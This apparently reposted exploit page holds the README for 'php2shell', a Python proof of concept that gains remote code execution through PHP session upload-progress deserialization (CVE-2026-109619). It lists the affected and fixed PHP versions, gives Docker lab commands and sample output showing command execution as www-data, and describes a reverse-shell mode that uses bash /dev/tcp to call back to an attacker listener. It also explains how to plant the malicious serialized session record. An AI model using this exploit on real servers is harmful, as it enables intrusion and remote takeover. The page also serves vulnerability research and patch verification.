Skip to content
Exploit for Improperly Controlled Sequential Memory Allocation in Php

Exploit for Improperly Controlled Sequential Memory Allocation in Php

Sploitus • October 22, 2026

![php2shell spawning a reverse shell against the Docker lab](screenshots/Screenshot.png)

> For authorized security testing only. The included preload gadget is

> deliberately vulnerable. Never deploy it to a production web root. Do not

> run this against systems you do not own or have written permission to test.

> The reverse-shell option sends a real payload that connects from the target

This is the **CVE-2026-109619 session path**, not the original counter-pointer

PoC. It does not use `zend_call_function`, heap grooming, or a `--dtor`

- **Affected:** PHP before the fixed releases below.

- **Fixed:** PHP **8.5.12**, **8.4.27**, **8.3.36**, **8.2.35**.

- **Lab-confirmed with this PoC:** PHP 8.5.4-FPM and 8.4.26; the same session

path also reproduced on 8.3.35 in the version matrix.

- **Not covered:** the CVE-2026-109618 OOM corruption chain.

The PoC is a single Python 3.8+ script with no third-party dependencies. The

included lab needs Docker Engine or Docker Desktop with Compose v2.

1. Unpatched PHP with `session.upload_progress.enabled=On` and

2. A gadget class available before RINIT. The lab uses

`opcache.preload`; a framework class with a usable `__wakeup()` /

3. A session record containing the serialized gadget for a known session id.

The Docker mode seeds it locally; for a real target you need an authorized

4. `session.serialize_handler=php` (the default). The record format used here

git clone

docker compose -f lab/docker-compose.yml up -d

python3 php2shell.py -c 'id; whoami; uname -a'

The lab runs PHP 8.5.4-FPM behind nginx on `127.0.0.1:8899`, with the gadget

preloaded and `/tmp` as the session save path. The PoC seeds the session

inside the container, sends the multipart request, and reads the marker.

███ █ █ ███ ███ ████ █ █ ████ █ █

█ █ █ █ █ █ █ █ █ █ █ █ █

███ ████ ███ ███ ███ ████ ███ █ █

█ █ █ █ █ █ █ █ █ █ █

█ █ █ █ ████ ████ █ █ ████ ████ ████

CVE-2026-109619 // PRE-RINIT SESSION DESERIALIZATION

authorized lab use only // patched 2026-10-21

source

── TARGET ──────────────────────────────────────────────────

payload shell_exec: id; whoami; uname -a

── EXECUTION ───────────────────────────────────────────────

trigger multipart POST with PHP_SESSION_UPLOAD_PROGRESS

╔════════════════════════════════════════════════════════════╗

║ [+] RCE CONFIRMED ║

║ __wakeup() executed before RINIT ║

╚════════════════════════════════════════════════════════════╝

── SHELL OUTPUT ────────────────────────────────────────────

uid=33(www-data) gid=33(www-data) groups=33(www-data)

To test another vulnerable branch, change the image tag in

`lab/docker-compose.yml` to `php:8.4.26-fpm` or `php:8.3.35-fpm` and restart.

The fixed `php:8.5.12-fpm` image is the negative control.

This mode opens an **interactive reverse shell back to the attacker's

machine**: the target connects out to the listener you run, giving you command

execution as the PHP user (typically `www-data`). The PoC does not start a

listener. Open one on the machine you control first:

# terminal 2 — from the repo, targeting the local lab

For a remote dev/pre-prod host, use an address the target can reach and pass

For a remote target, `203.0.113.10` is the attacker machine's VPN/LAN address

or an authorized tunnel, and inbound TCP to the listener must be allowed. In

the Docker lab, a bare port such as `--reverse 4444` targets

`host.docker.internal`, which Compose maps to the host; that name is not

available from a remote target. The payload uses `bash` and `/dev/tcp`; the

target must have bash and permit outbound TCP.

-u, --url URL target endpoint (default:

-c, -command, --command command executed by the gadget

--reverse [LHOST:]LPORT send a reverse shell instead of a command

--container NAME PHP container for seeding and marker reads

--session-dir PATH session.save_path inside the container (default: /tmp)

--sid SID session id (random by default)

--no-seed skip Docker; use an already-seeded session

--allow-remote permit a non-loopback target

--timeout SECONDS HTTP timeout (default: 30)

--verbose print the exact serialized session record

--no-color disable colors and the banner

Colors and the banner are enabled only on an interactive terminal. Piped

output is plain; `NO_COLOR=1` or `--no-color` forces plain output.

The PoC prints the exact serialized record in `--no-seed` mode and with

`--verbose`. In `--no-seed` mode, use that record to plant the session

yourself and rely on the framed `PHP2SHELL-BEGIN ... PHP2SHELL-END` output,

or read `/tmp/php2shell_rce.txt` if you have file access. The marker is more

reliable when the application discards pre-script output.

The release serializes `Php2ShellProbe->cmd`. If you have a different

preloaded gadget, change the `CLASS` and `SESSION_PROPERTY` constants at the

top of `php2shell.py` to match its class and property names.

1. The session file contains `evil|O:14:"Php2ShellProbe":...` for the chosen

2. The multipart request carries `PHPSESSID` and

`PHP_SESSION_UPLOAD_PROGRESS`; PHP's RFC1867 handler processes the upload

3. The handler initializes the session and deserializes the record. On

vulnerable PHP the preloaded class is instantiated and `__wakeup()` runs.

4. The lab gadget runs `shell_exec($cmd)`, writes a marker, and echoes the

The official fix adds `in_rfc1867_update`, resets session globals at

`MULTIPART_EVENT_START`, and decodes objects as `__PHP_Incomplete_Class`

while the progress update runs. Patched builds do not invoke the gadget.

- **HTTP 200 but no output:** the application may discard output produced

before the script. In Docker mode use the marker; otherwise use a reverse

shell or another out-of-band signal, because a missing frame alone does not

- **NOT CONFIRMED:** verify the PHP version, `session.upload_progress.enabled`,

`file_uploads`, the preload class, `session.save_path` ownership, the

serializer, and that `shell_exec` is enabled.

- **Cannot reach container:** start the lab, or use `--no-seed` with an

- **Wrong session path:** the lab uses `/tmp`; on another target read

`session.save_path` with `php -i | grep session.save_path` and pass it to

- **Reverse shell does not connect:** confirm the listener is reachable from

the target, the host is not `host.docker.internal` for a remote target,

outbound TCP is allowed, and bash exists.

- **`php_serialize` targets:** this release uses the default `php` handler.

`a:1:{s:4:"evil";O:14:"Php2ShellProbe":...}`.

See [CREDITS.md](CREDITS.md). In short: the vulnerability was originally discovered by **lcfr** ([@lcfr_hax]( The session-path PoC, gadget, and lab in this folder were written for this project; no third-party exploit code is included. The counter-pointer `--dtor` PoC by **jackalsyn** (the working repository's `poc_109618.py`) is acknowledged but not shipped, because the assumed free does not occur in PHP 8.5.4. The 0x4148 and flatt.tech writeups were consulted as independent analysis only.

docker compose -f lab/docker-compose.yml down

`docker compose down` removes the PHP container, including the planted

session and marker. To clear them while the lab is still running:

docker exec php2shell-poc-php rm -f /tmp/sess_ /tmp/php2shell_rce.txt